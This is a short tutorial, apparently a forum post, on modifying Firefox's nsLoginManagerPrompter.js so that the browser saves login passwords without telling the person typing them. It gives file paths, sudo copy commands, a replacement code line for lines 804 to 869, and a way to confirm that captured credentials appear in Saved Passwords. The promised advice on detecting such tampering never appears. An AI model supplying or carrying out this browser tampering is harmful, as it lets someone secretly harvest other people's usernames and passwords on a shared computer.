How to autosave passwords in Firefox

I will be teaching you how to save login passwords in Mozilla Firefox without notifying the user that his password is being saved. After reading this tutorial, you would also know how to make sure that the passwords you have entered is not being saved in secret.

You will not be using a password stealer, nor a keylogger, nor a RAT. You would just be editing some javascript code from

Step 1 : Go to this location:
Windows: C:\ProgramFiles\MozillaFirefox\Components\
Ubuntu: /usr/lib/firefox-3.6.15/components
For Ubuntu, change the "3.6.15" part with your firefox version.

Step 2. Make sure that Mozilla Firefox is closed. If you are using Windows, you can double check this by going to the task manager, then end the process named firefox.exe if it exists.

Step 3. Now, open the file "nsloginmanagerprompter.js" from the directory that you have opened earlier. You can user Notepad or Wordpad to open it.
For Ubuntu users, you might need administrative privileges to edit the file. Open a terminal, type
sudo cp /usr/lib/firefox-3.6.15/components/nsloginmanagerprompter.js Desktop
gedit nsloginmanagerprompter.js

Step 4. Navigate to lines 804 to 869, and replace them with the following code:
var pwmgr = this._pwmgr;

Save the file. For Ubuntu users, open a terminal then type
cd Desktop
sudo cp nsloginmanagerprompter.js /usr/lib/firefox-3.6.15/components/

This will copy the file you have edited to the original location.

Step 5. Make sure it works by trying it on yourself. If it works, you should see your username and password when you open
Tools > Options > Security > Saved Passwords
If you could not see anything, make sure you followed the steps correctly.
